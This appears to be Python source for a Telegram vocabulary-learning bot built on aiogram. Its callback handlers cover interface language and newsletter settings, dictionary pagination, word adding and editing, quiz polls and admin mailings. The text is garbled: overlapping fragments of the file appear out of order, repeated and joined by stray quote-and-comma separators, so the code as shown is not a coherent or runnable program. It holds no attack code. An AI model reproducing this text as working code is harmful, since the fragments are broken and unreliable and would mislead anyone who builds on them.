reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR',", "question += self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'],", "new_word_translation, query['from']['id'], from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await state.finish()", "2: self.db.set_user_mailings(query['from']['id'], 2) elif selected_option == 'important' and user_mailings !=", "buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) question = query['data']", "self.dp = dispatcher self.bot = bot self.__init_handlers() def __init_handlers(self): #", "= query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) question = query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\",", "'important' and user_mailings != 1: self.db.set_user_mailings(query['from']['id'], 1) elif selected_option ==", "from_lang, 'to_lang': to_lang } paginator = getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang,", "types.CallbackQuery): \"\"\"Handle SETTINGS page buttons\"\"\" user_id = query['from']['id'] user_lang =", "quiz_result = { 'word': data['quiz_data'][curr_q_index - 1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda", "== 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer()", "current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] =", "elif action == 'translation': await DictionaryEditWordState.new_word_translation.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD',", "executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async def", "question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ', 'QUESTION',", "query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'schedule_list': await query.answer()", "= ['disable', 'important', 'all'] if mailings_settings[user_mailings] != selected_option: if selected_option", "lang_manager self.markup = markup_manager self.analytics = analytics self.dp = dispatcher", "self.markup = markup_manager self.analytics = analytics self.dp = dispatcher self.bot", "state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count == 1: await", "user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True) async def _send_dictionary_page(message:", "'profile_referral_link') @self.analytics.callback_metric async def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) await", "logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric", "data['quiz_data'] = quiz_data data['index'] = 1 question = f\"{data['index']}/{len(data['quiz_data'])} \"", "user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with state.proxy() as data:", "curr_q_index = data['index'] quiz_result = { 'word': data['quiz_data'][curr_q_index - 1]['word'],", "edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action", "asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) elif action", "selected_option = query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable', 'important',", "} data['quiz_results'].append(quiz_result) if curr_q_index < len(data['quiz_data']) - 1: data['index'] =", "user_lang, from_lang, to_lang, state) elif action == 'find_another': await query.message.delete()", "# ===== Default imports ===== import asyncio import logging #", "language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:] if selected_lang !=", "types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:] if action ==", "= data['index'] quiz_result = { 'word': data['quiz_data'][curr_q_index - 1]['word'], 'selected_option':", "as data: new_word_string = data['search_query'] new_word_translation = data['translation'] from_lang =", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'profile_referral_link') @self.analytics.callback_metric async def", "async with state.proxy() as data: curr_q_index = data['index'] quiz_result =", "from aiogram.dispatcher import FSMContext # ===== Local imports ===== from", "self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:] if selected_lang != user_lang: self.db.set_user_lang(query['from']['id'], selected_lang)", "HELP page question back button\"\"\" user_id = query['from']['id'] user_lang =", "query['from']['id'], from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await state.finish() await", "Local imports ===== from analytics import BotAnalytics from db_manager import", "def pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[6:] user_lang =", "def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question buttons\"\"\" user_id =", "= f\"{data['index']}/{len(data['quiz_data'])} \" else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set()", "1: await query.answer() await query.message.delete() async with state.proxy() as data:", "= query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data:", "FSMContext # ===== Local imports ===== from analytics import BotAnalytics", "self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(),", "self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']),", "query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting preferred interface", "@self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query: types.CallbackQuery, state:", "def __init__(self, db_manager: DbManager, lang_manager: LangManager, markup_manager: MarkupManager, analytics: BotAnalytics,", "self.db.set_user_mailings(query['from']['id'], 2) elif selected_option == 'important' and user_mailings != 1:", "import asyncio import logging # ===== External libs imports =====", "query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'back_to_help') @self.analytics.callback_metric async", "MarkupManager from states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState from states.Mailing", "= query.data[10:] if action == 'string': await DictionaryEditWordState.new_word_string.set() await query.message.delete()", "= 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" + \\ self.lang.get_page_text('QUIZ', 'QUESTION',", "imports ===== from analytics import BotAnalytics from db_manager import DbManager", "query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else: await", "query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query:", "user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_') from_lang = selected_dict_pairs[0] to_lang", "paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await", "await query.answer() # QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query: query.data == 'quiz_start',", "query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang", "if action == 'string': await DictionaryEditWordState.new_word_string.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD',", "callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async", "query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang),", "async def dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs", "data['index'] quiz_result = { 'word': data['quiz_data'][curr_q_index - 1]['word'], 'selected_option': query.message.poll.options.index(", "query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query: types.CallbackQuery,", "selected_dict_pairs[0] to_lang = selected_dict_pairs[1] await query.message.delete() await _send_dictionary_page(query.message, query['from']['id'], user_lang,", "query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric async def settings_page_callback_handler(query:", "button\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\",", "self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await", "await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif page == 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\",", "callback handlers\"\"\" def __init__(self, db_manager: DbManager, lang_manager: LangManager, markup_manager: MarkupManager,", "= query['data'][9:] if page == 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang))", "External libs imports ===== from aiogram import Bot, Dispatcher, types", "action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as", "@self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang =", "@self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang =", "def _send_dictionary_page(message: types.Message, user_id: int, user_lang: str, from_lang: str, to_lang:", "str, state: FSMContext): current_state = { 'current_page': 0, 'from_lang': from_lang,", "state: FSMContext): current_state = { 'current_page': 0, 'from_lang': from_lang, 'to_lang':", "self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable', 'important', 'all'] if mailings_settings[user_mailings] != selected_option:", "= data['curr_pagination_page'] paginator = getattr(pagination, action.capitalize() + 'Paginator')(self.lang, self.db, self.markup,", "with state.proxy() as data: curr_q_index = data['index'] quiz_result = {", "\"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric", "getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang, self.db, self.markup, user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY',", "await DictionaryState.dictionary.set() async with state.proxy() as data: data['curr_pagination_page'] = last_pagination_page", "1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]), 'correct_option':", "query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'translation':", "paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await", "import MarkupManager from states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState from", "curr_q_index < len(data['quiz_data']) - 1: data['index'] = curr_q_index + 1", "1) elif selected_option == 'disable' and user_mailings != 0: self.db.set_user_mailings(query['from']['id'],", "show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\")", "await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with", "with state.proxy() as data: from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang']", "DictionaryState, DictionaryEditWordState, DictionarySearchWordState from states.Mailing import AdminMailingState import pagination class", "question buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) question =", "async with state.proxy() as data: if 'curr_pagination_page' in data: current_page", "if page == 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang))", "user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric async", "@self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id'])", "await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def edit_word_actions_callback_handler(query:", "@self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting preferred interface language\"\"\"", "executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async def", "CALLBACK HANDLER FOR USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric", "query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'back_to_help') @self.analytics.callback_metric async def back_to_help_callback_handler(query:", "aiogram.dispatcher import FSMContext # ===== Local imports ===== from analytics", "BotAnalytics, dispatcher: Dispatcher, bot: Bot): self.db = db_manager self.lang =", "elif action == 'find_another': await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang),", "query.data == 'back_to_help') @self.analytics.callback_metric async def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP", "= query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer()", "await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer()", "== 'add': async with state.proxy() as data: new_word_string = data['search_query']", "user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext):", "if not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data()", "user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data", "{ 'current_page': 0, 'from_lang': from_lang, 'to_lang': to_lang } paginator =", "query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True) async def _send_dictionary_page(message: types.Message, user_id: int,", "state.finish() await asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state)", "= getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang, self.db, self.markup, user_id, current_page=current_state) await", "not paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else:", "LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery):", "data['translation'] from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'],", "@self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:]", "= query['data'][9:] if action == 'new': await AdminMailingState.message.set() await query.message.delete()", "Default imports ===== import asyncio import logging # ===== External", "with state.proxy() as data: if 'curr_pagination_page' in data: current_page =", "async def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS page buttons\"\"\" user_id =", "imports ===== from aiogram import Bot, Dispatcher, types from aiogram.dispatcher", "data: data['quiz_results'] = [] data['quiz_data'] = quiz_data data['index'] = 1", "async def quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if", "from states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState from states.Mailing import", "correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index != len(data['quiz_data']) - 1", "action == 'schedule_list': await query.answer() # QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query:", "===== import asyncio import logging # ===== External libs imports", "data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang))", "async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting preferred interface language\"\"\" user_lang", "@self.analytics.callback_metric async def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'],", "DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState from states.Mailing import AdminMailingState import pagination", "list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda", "user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable', 'important', 'all'] if mailings_settings[user_mailings]", "PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query: types.CallbackQuery,", "state: FSMContext): action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with", "AdminMailingState import pagination class VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary Bot callback", "new_word_string = data['search_query'] new_word_translation = data['translation'] from_lang = data['curr_pagination_page']['from_lang'] to_lang", "self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_') from_lang = selected_dict_pairs[0] to_lang = selected_dict_pairs[1]", "to_lang } paginator = getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang, self.db, self.markup,", "help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question buttons\"\"\" user_id = query['from']['id']", "@self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:]", "user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async", "user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page = data['curr_pagination_page'] await state.finish()", "\"\"\"Handle selecting preferred interface language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang =", "from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang,", "settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id'])", "query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters", "user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) question = query['data'] await", "@self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query: types.CallbackQuery, state:", "types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id']) async", "if curr_q_index < len(data['quiz_data']) - 1: data['index'] = curr_q_index +", "user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings", "!= len(data['quiz_data']) - 1 else self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED',", "query['data'][9:] if action == 'new': await AdminMailingState.message.set() await query.message.delete() await", "== 'new': await AdminMailingState.message.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang),", "self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action == 'add': async with", "message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with state.proxy()", "await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) # PAGINATION @self.dp.callback_query_handler(lambda", "aiogram import Bot, Dispatcher, types from aiogram.dispatcher import FSMContext #", "page buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) page =", "query.message.poll.options)) } data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang),", "action == 'string': await DictionaryEditWordState.new_word_string.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING',", "for Vocabulary Bot callback handlers\"\"\" def __init__(self, db_manager: DbManager, lang_manager:", "== 'back_to_help') @self.analytics.callback_metric async def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page", "from_lang = selected_dict_pairs[0] to_lang = selected_dict_pairs[1] await query.message.delete() await _send_dictionary_page(query.message,", "Dispatcher, types from aiogram.dispatcher import FSMContext # ===== Local imports", "dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) if curr_q_index < len(data['quiz_data']) - 1:", "curr_q_index != len(data['quiz_data']) - 1 else self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ',", "with state.proxy() as data: data['curr_pagination_page'] = last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ',", "await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) elif action ==", "VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary Bot callback handlers\"\"\" def __init__(self, db_manager:", "'schedule_list': await query.answer() # QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query: query.data ==", "\\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz',", "query.data.startswith('news_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang =", "'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers)", "state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_') from_lang =", "'find_another': await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric", "query['from']['id'], user_lang, from_lang, to_lang, state) # PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'),", "logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'profile_referral_link')", "page = query['data'][9:] if page == 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\",", "as data: from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] quiz_data =", "data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10) await DictionaryQuizState.user_answers.set() async", "message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with state.proxy() as data: data['curr_pagination_page'] = current_state", "1 else self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish)", "'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang),", "def quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count", "'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang", "await query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data:", "= data['search_query'] new_word_translation = data['translation'] from_lang = data['curr_pagination_page']['from_lang'] to_lang =", "@self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query: types.CallbackQuery, state:", "query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext):", "= { 'current_page': 0, 'from_lang': from_lang, 'to_lang': to_lang } paginator", "data['curr_pagination_page'] = current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric", "types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None) await", "'all'] if mailings_settings[user_mailings] != selected_option: if selected_option == 'all' and", "query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable', 'important', 'all'] if", "if not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data()", "def pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang =", "query: query.data.startswith('settings_')) @self.analytics.callback_metric async def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS page", "# PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query:", "query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED',", "== 'string': await DictionaryEditWordState.new_word_string.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang),", "-*- # ===== Default imports ===== import asyncio import logging", "'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page = data['curr_pagination_page'] await", "reply_markup=self.markup.get_cancel_markup()) elif action == 'translation': await DictionaryEditWordState.new_word_translation.set() await query.message.delete() await", "== 1: await query.answer() await query.message.delete() async with state.proxy() as", "user_lang: str, from_lang: str, to_lang: str, state: FSMContext): current_state =", "query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext):", "state.proxy() as data: data['curr_pagination_page'] = last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED',", "action == 'add': async with state.proxy() as data: new_word_string =", "selected_dict_pairs[1] await query.message.delete() await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, 